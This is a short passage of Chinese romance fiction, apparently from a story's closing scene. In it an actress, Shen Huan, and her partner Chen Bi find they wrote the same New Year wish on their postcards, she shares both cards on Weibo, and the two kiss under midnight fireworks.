拆开信封拿到明信片时,沈欢恍惚间感到,Q市那自由而热烈的海风,似乎从教堂上空盘旋而过,醺醺然轻掠她的心湖,荡起阵阵涟漪。
看完明信片,两人笑闹着躺倒在沙发上,开始小学生吵架:“你抄我的词!”
“那肯定是你抄我的词!”
综艺播出结束时,沈欢发布一条新微博。
【演员沈欢:揭晓谜底的时候到了。】
配图是两张挨在一起的明信片。
一张字迹飘逸,来自陈璧。
另一张隽秀灵动,来自沈欢。
可他们居然心有灵犀,写下同一句话:“年年有今日,岁岁有今朝。”
十二点的钟声准时响起,落地窗外燃起盛大烟花,明灭火焰映在陈璧脸上,衬得他俊逸动人。
沈欢抛开手机,轻笑着追寻光吻上他眉眼,悄悄与他十指紧扣。
她自觉并不贪心,这一生所求不多,唯愿生活安稳,事事顺遂,与陈璧携手同行,白头到老。
而老天最为慈悲悯人,定会帮她完成这个愿望。